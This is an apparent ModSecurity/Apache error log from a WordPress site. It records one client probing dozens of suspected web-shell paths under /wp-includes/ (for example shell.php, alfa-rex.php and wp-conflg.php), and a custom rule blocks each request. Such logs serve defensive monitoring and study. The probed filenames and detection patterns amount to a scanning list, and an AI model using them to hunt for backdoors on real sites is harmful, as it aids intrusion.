[Wed Apr 08 13:56:23.262330 2026] [:error] [pid 12453:tid 12475] [client 185.153.151.165:33504] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "adXuBxjtW7S6XsLPvrQtZAAAAJQ"]
[Wed Apr 08 13:56:23.956026 2026] [:error] [pid 12490:tid 12509] [client 185.153.151.165:33514] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "adXuB21Fea4F4fbumr2IzgAAANE"]
[Wed Apr 08 13:56:25.338053 2026] [:error] [pid 12490:tid 12507] [client 185.153.151.165:33520] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "adXuCW1Fea4F4fbumr2I2QAAAM8"]
[Wed Apr 08 13:56:26.020927 2026] [:error] [pid 12386:tid 12417] [client 185.153.151.165:33526] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "adXuChLhhLtqHi2gK7Ve0QAAAQE"]
[Wed Apr 08 13:56:28.756187 2026] [:error] [pid 12386:tid 12420] [client 185.153.151.165:33538] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "adXuDBLhhLtqHi2gK7Ve6QAAAQQ"]
[Wed Apr 08 13:56:29.419477 2026] [:error] [pid 35642:tid 35659] [client 185.153.151.165:56658] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "adXuDQ-CqryxdEs5DN9IDAAAAE8"]
[Wed Apr 08 13:56:30.425169 2026] [:error] [pid 12453:tid 12459] [client 185.153.151.165:56666] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/log.php"] [unique_id "adXuDhjtW7S6XsLPvrQteAAAAIQ"]
[Wed Apr 08 13:56:31.094099 2026] [:error] [pid 35642:tid 35655] [client 185.153.151.165:56670] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "adXuDw-CqryxdEs5DN9IHAAAAEs"]
[Wed Apr 08 13:56:31.762681 2026] [:error] [pid 12385:tid 12411] [client 185.153.151.165:56674] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "adXuDyAjtvRQEkLosq0IrQAAABY"]
[Wed Apr 08 13:56:32.430091 2026] [:error] [pid 12386:tid 12432] [client 185.153.151.165:56688] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/aw.php"] [unique_id "adXuEBLhhLtqHi2gK7Ve9AAAARA"]
[Wed Apr 08 13:56:34.463781 2026] [:error] [pid 35642:tid 35655] [client 185.153.151.165:56690] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "adXuEg-CqryxdEs5DN9IOgAAAEs"]
[Wed Apr 08 13:56:35.145588 2026] [:error] [pid 12385:tid 12398] [client 185.153.151.165:56692] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "adXuEyAjtvRQEkLosq0IuwAAAAk"]
[Wed Apr 08 13:56:36.557327 2026] [:error] [pid 35642:tid 35664] [client 185.153.151.165:56694] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "adXuFA-CqryxdEs5DN9IRwAAAFQ"]
[Wed Apr 08 13:56:37.258411 2026] [:error] [pid 12453:tid 12465] [client 185.153.151.165:56700] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "adXuFRjtW7S6XsLPvrQtkgAAAIo"]
[Wed Apr 08 13:56:38.622941 2026] [:error] [pid 12385:tid 12403] [client 185.153.151.165:56712] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "adXuFiAjtvRQEkLosq0IygAAAA4"]
[Wed Apr 08 13:56:39.303304 2026] [:error] [pid 35642:tid 35652] [client 185.153.151.165:42906] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "adXuFw-CqryxdEs5DN9IWAAAAEg"]
[Wed Apr 08 13:56:42.411925 2026] [:error] [pid 12385:tid 12391] [client 185.153.151.165:42908] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "adXuGiAjtvRQEkLosq0I4QAAAAI"]
[Wed Apr 08 13:56:43.104121 2026] [:error] [pid 12386:tid 12426] [client 185.153.151.165:42912] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "adXuGxLhhLtqHi2gK7VfIAAAAQo"]
[Wed Apr 08 13:56:44.500575 2026] [:error] [pid 12490:tid 12509] [client 185.153.151.165:42918] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "adXuHG1Fea4F4fbumr2JbQAAANE"]
[Wed Apr 08 13:56:45.549789 2026] [:error] [pid 35642:tid 35648] [client 185.153.151.165:42924] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "adXuHQ-CqryxdEs5DN9IfQAAAEQ"]
[Wed Apr 08 13:56:46.583433 2026] [:error] [pid 12490:tid 12495] [client 185.153.151.165:42940] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/load.php"] [unique_id "adXuHm1Fea4F4fbumr2JfwAAAMM"]
[Wed Apr 08 13:56:47.290247 2026] [:error] [pid 35642:tid 35648] [client 185.153.151.165:46481] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "adXuHw-CqryxdEs5DN9IjAAAAEQ"]
[Wed Apr 08 13:56:47.983134 2026] [:error] [pid 35642:tid 35652] [client 185.153.151.165:42954] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "adXuHw-CqryxdEs5DN9IlAAAAEg"]
[Wed Apr 08 13:56:49.737192 2026] [:error] [pid 35642:tid 35656] [client 185.153.151.165:42960] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "adXuIQ-CqryxdEs5DN9IowAAAEw"]
[Wed Apr 08 13:56:50.764701 2026] [:error] [pid 12385:tid 12393] [client 185.153.151.165:37754] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "adXuIiAjtvRQEkLosq0I6gAAAAQ"]
[Wed Apr 08 13:56:52.164035 2026] [:error] [pid 12386:tid 12423] [client 185.153.151.165:37768] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "adXuJBLhhLtqHi2gK7VfNwAAAQc"]
[Wed Apr 08 13:56:52.836102 2026] [:error] [pid 12453:tid 12467] [client 185.153.151.165:37770] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "adXuJBjtW7S6XsLPvrQt3QAAAIw"]
[Wed Apr 08 13:56:53.509250 2026] [:error] [pid 12453:tid 12468] [client 185.153.151.165:37776] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "adXuJRjtW7S6XsLPvrQt3wAAAI0"]
[Wed Apr 08 13:56:56.960919 2026] [:error] [pid 12490:tid 12505] [client 185.153.151.165:37780] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "adXuKG1Fea4F4fbumr2J-AAAAM0"]
[Wed Apr 08 13:56:57.978087 2026] [:error] [pid 12385:tid 12410] [client 185.153.151.165:37790] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "adXuKSAjtvRQEkLosq0JDQAAABU"]
[Wed Apr 08 13:56:59.352605 2026] [:error] [pid 12490:tid 12509] [client 185.153.151.165:37794] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "adXuK21Fea4F4fbumr2KDwAAANE"]
[Wed Apr 08 13:57:00.040373 2026] [:error] [pid 12453:tid 12455] [client 185.153.151.165:37428] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "adXuLBjtW7S6XsLPvrQt8AAAAIA"]
[Wed Apr 08 13:57:00.731467 2026] [:error] [pid 35642:tid 35658] [client 185.153.151.165:37440] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "adXuLA-CqryxdEs5DN9I5AAAAE4"]
[Wed Apr 08 13:57:02.106412 2026] [:error] [pid 12385:tid 12413] [client 185.153.151.165:37456] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Response/about.php"] [unique_id "adXuLiAjtvRQEkLosq0JFgAAABg"]
[Wed Apr 08 13:57:05.245426 2026] [:error] [pid 35642:tid 35647] [client 185.153.151.165:37468] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-pie.php"] [unique_id "adXuMQ-CqryxdEs5DN9JEQAAAEM"]
[Wed Apr 08 13:57:07.368567 2026] [:error] [pid 12453:tid 12476] [client 185.153.151.165:37472] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "adXuMxjtW7S6XsLPvrQuHQAAAJU"]
[Wed Apr 08 13:57:08.784374 2026] [:error] [pid 12385:tid 12412] [client 185.153.151.165:37484] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/nav-menu.php"] [unique_id "adXuNCAjtvRQEkLosq0JIgAAABc"]
[Wed Apr 08 13:57:09.462016 2026] [:error] [pid 12385:tid 12407] [client 185.153.151.165:51762] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/user.php"] [unique_id "adXuNSAjtvRQEkLosq0JKwAAABI"]
[Wed Apr 08 13:57:14.063510 2026] [:error] [pid 12386:tid 12418] [client 185.153.151.165:51778] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/search/about.php"] [unique_id "adXuOhLhhLtqHi2gK7VfiAAAAQI"]
[Wed Apr 08 13:57:14.762937 2026] [:error] [pid 12490:tid 12498] [client 185.153.151.165:51792] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-cropped-image-control.php"] [unique_id "adXuOm1Fea4F4fbumr2KcgAAAMY"]
[Wed Apr 08 13:57:15.461311 2026] [:error] [pid 12386:tid 12421] [client 185.153.151.165:51796] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "adXuOxLhhLtqHi2gK7VfkQAAAQU"]
[Wed Apr 08 13:57:16.503637 2026] [:error] [pid 35642:tid 35663] [client 185.153.151.165:51812] [client 185.153.151.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.153.151.165, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "adXuPA-CqryxdEs5DN9JcgAAAFM"]
[Wed Apr 08 13:57:17.206870 2026] [:error] [pid 35642:tid 35668] [client 185.153.151.165:51812] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/preferences/wp-login.php"] [unique_id "adXuPQ-CqryxdEs5DN9JfAAAAFg"]
[Wed Apr 08 13:57:17.897482 2026] [:error] [pid 35642:tid 35647] [client 185.153.151.165:51822] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "adXuPQ-CqryxdEs5DN9JgAAAAEM"]
[Wed Apr 08 13:57:18.578155 2026] [:error] [pid 12453:tid 12471] [client 185.153.151.165:22306] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/phpmailer/phpmailer.php"] [unique_id "adXuPhjtW7S6XsLPvrQuQgAAAJA"]
[Wed Apr 08 13:57:21.288303 2026] [:error] [pid 12490:tid 12497] [client 185.153.151.165:58954] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "adXuQW1Fea4F4fbumr2KrAAAAMU"]
[Wed Apr 08 13:57:24.398040 2026] [:error] [pid 12385:tid 12397] [client 185.153.151.165:58964] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "adXuRCAjtvRQEkLosq0JXQAAAAg"]
[Wed Apr 08 13:57:25.901683 2026] [:error] [pid 12490:tid 12495] [client 185.153.151.165:58968] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/link-template-firewall.php"] [unique_id "adXuRW1Fea4F4fbumr2KxAAAAMM"]
[Wed Apr 08 13:57:31.141807 2026] [:error] [pid 12490:tid 12509] [client 185.153.151.165:58972] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "adXuS21Fea4F4fbumr2K-wAAANE"]
[Wed Apr 08 13:57:31.826135 2026] [:error] [pid 12490:tid 12497] [client 185.153.151.165:39954] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "adXuS21Fea4F4fbumr2LAgAAAMU"]
[Wed Apr 08 13:57:32.507677 2026] [:error] [pid 12453:tid 12461] [client 185.153.151.165:39958] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/mer_gagal.php"] [unique_id "adXuTBjtW7S6XsLPvrQufQAAAIY"]
